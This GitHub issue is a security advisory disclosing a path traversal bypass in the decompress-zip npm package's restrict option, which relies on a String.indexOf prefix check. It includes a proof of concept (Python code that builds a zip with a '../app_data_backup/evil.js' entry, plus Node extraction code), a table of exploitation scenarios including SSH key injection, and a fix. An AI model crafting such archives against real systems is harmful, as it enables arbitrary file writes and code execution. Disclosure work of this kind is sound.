Skip to content

Security: Path traversal bypass in restrict option (indexOf prefix confusion) — v0.3.3 #76

@engineernaman

Description

@engineernaman

SECURITY ADVISORY: PATH TRAVERSAL BYPASS IN DECOMPRESS-ZIP

SUMMARY

Package: decompress-zip
npm: https://www.npmjs.com/package/decompress-zip
Repository: https://github.com/bower/decompress-zip
Affected Versions: 0.3.2, 0.3.3 (latest), and 0.2.2
Weekly Downloads: ~90,000
Severity: HIGH (CVSS 3.1 est. 7.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory
Researchers: Soumy Naman Srivastava (Cyber Imposter), with AI-assisted code review
Date: April 10, 2026

DESCRIPTION

The decompress-zip npm package versions 0.2.2, 0.3.2, and 0.3.3 (latest) contain a path traversal vulnerability that bypasses the restrict security option. This option was introduced specifically to prevent Zip Slip attacks (SNYK-JS-DECOMPRESSZIP-73598), but the implementation uses String.indexOf() for path validation, which can be bypassed via directory-name prefix confusion.

When restrict: true (the default), the library checks whether the resolved extraction destination starts with the target path. However, indexOf performs a simple substring match, not a directory-boundary-aware comparison. An attacker can craft a zip archive containing entries that resolve to paths outside the target directory while still passing the security check.

VULNERABILITY DETAILS

Vulnerable code (lib/decompress-zip.js, present in 0.3.2 and 0.3.3):

if (options.restrict) {
files = files.map(function (file) {
var destination = path.join(options.path, file.path);
if (destination.indexOf(options.path) !== 0) {
throw new Error('You cannot extract a file outside of the target path');
}
return file;
});
}

Root Cause: String.indexOf() checks if the destination string starts with options.path as a raw substring, without verifying a directory separator boundary. When the target directory name is a prefix of a sibling directory, the check passes incorrectly.

Example:

  • options.path = /tmp/app_data
  • Malicious zip entry: ../app_data_backup/evil.js
  • Resolved: path.join("/tmp/app_data", "../app_data_backup/evil.js") → /tmp/app_data_backup/evil.js
  • Check: "/tmp/app_data_backup/evil.js".indexOf("/tmp/app_data") → 0 ✓ PASSES (false negative)
  • Result: File written to /tmp/app_data_backup/evil.js — OUTSIDE THE TARGET DIRECTORY

PROOF OF CONCEPT

Confirmed against: decompress-zip@0.3.3 (latest), Node.js, April 10 2026.

Step 1: Create malicious zip

import zipfile, io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr('readme.txt', 'benign file')
zf.writestr('../app_data_backup/evil.js', 'console.log("pwned")')

with open('poc_bypass.zip', 'wb') as f:
f.write(buf.seek(0) or buf.read())

Step 2: Extract with restrict: true

var DecompressZip = require('decompress-zip'); // v0.3.3
var fs = require('fs');

var unzipper = new DecompressZip('poc_bypass.zip');

unzipper.on('extract', function() {
// File written OUTSIDE /tmp/app_data despite restrict: true
console.log(fs.existsSync('/tmp/app_data_backup/evil.js')); // true
console.log(fs.readFileSync('/tmp/app_data_backup/evil.js', 'utf8'));
// Output: console.log("pwned")
});

unzipper.extract({
path: '/tmp/app_data',
restrict: true // default — supposedly prevents path traversal
});

Result:

Extraction complete. Results:
[
{ "stored": "readme.txt" },
{ "stored": "../app_data_backup/evil.js" }
]

!!! VULNERABILITY CONFIRMED !!!
File written OUTSIDE target directory:
Target dir: /tmp/app_data
Escaped to: /tmp/app_data_backup/evil.js
Content: console.log("pwned")

EXPLOITABLE SCENARIOS

options.path | Zip entry | Escapes to | Impact
/tmp/app_data | ../app_data_backup/evil.js | /tmp/app_data_backup/evil.js | Arbitrary file write
/home/user | ../username/.ssh/authorized_keys | /home/username/.ssh/authorized_keys | SSH key injection
/var/www | ../www-data/cron.sh | /var/www-data/cron.sh | Code execution
/opt/app | ../application/config.yml | /opt/application/config.yml | Config overwrite

Constraint: The target extraction directory name must be a prefix of the escaped directory name. This is a realistic constraint in many deployments (e.g., app / app_backup, data / database, www / www-data).

IMPACT

  • Arbitrary file write outside the intended extraction directory
  • Potential remote code execution if executable or config files are overwritten
  • Bypasses the security mitigation that was specifically added to prevent this class of attack
  • Affects all users of decompress-zip 0.2.2+ who rely on restrict: true (the default)
  • ~90,000 weekly downloads on npm

RECOMMENDED FIX

Replace the indexOf check with a directory-boundary-aware comparison:

// Option A: Use path.relative
if (options.restrict) {
files = files.map(function (file) {
var destination = path.join(options.path, file.path);
var relative = path.relative(options.path, destination);
if (relative.startsWith('..') || path.isAbsolute(relative)) {
throw new Error('You cannot extract a file outside of the target path');
}
return file;
});
}

TIMELINE

2026-04-10 | Vulnerability identified and confirmed with PoC
TBD | Vendor notification via GitHub issue / npm security
TBD | MITRE CVE request
TBD+90d | Public disclosure (if no response)

REFERENCES

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions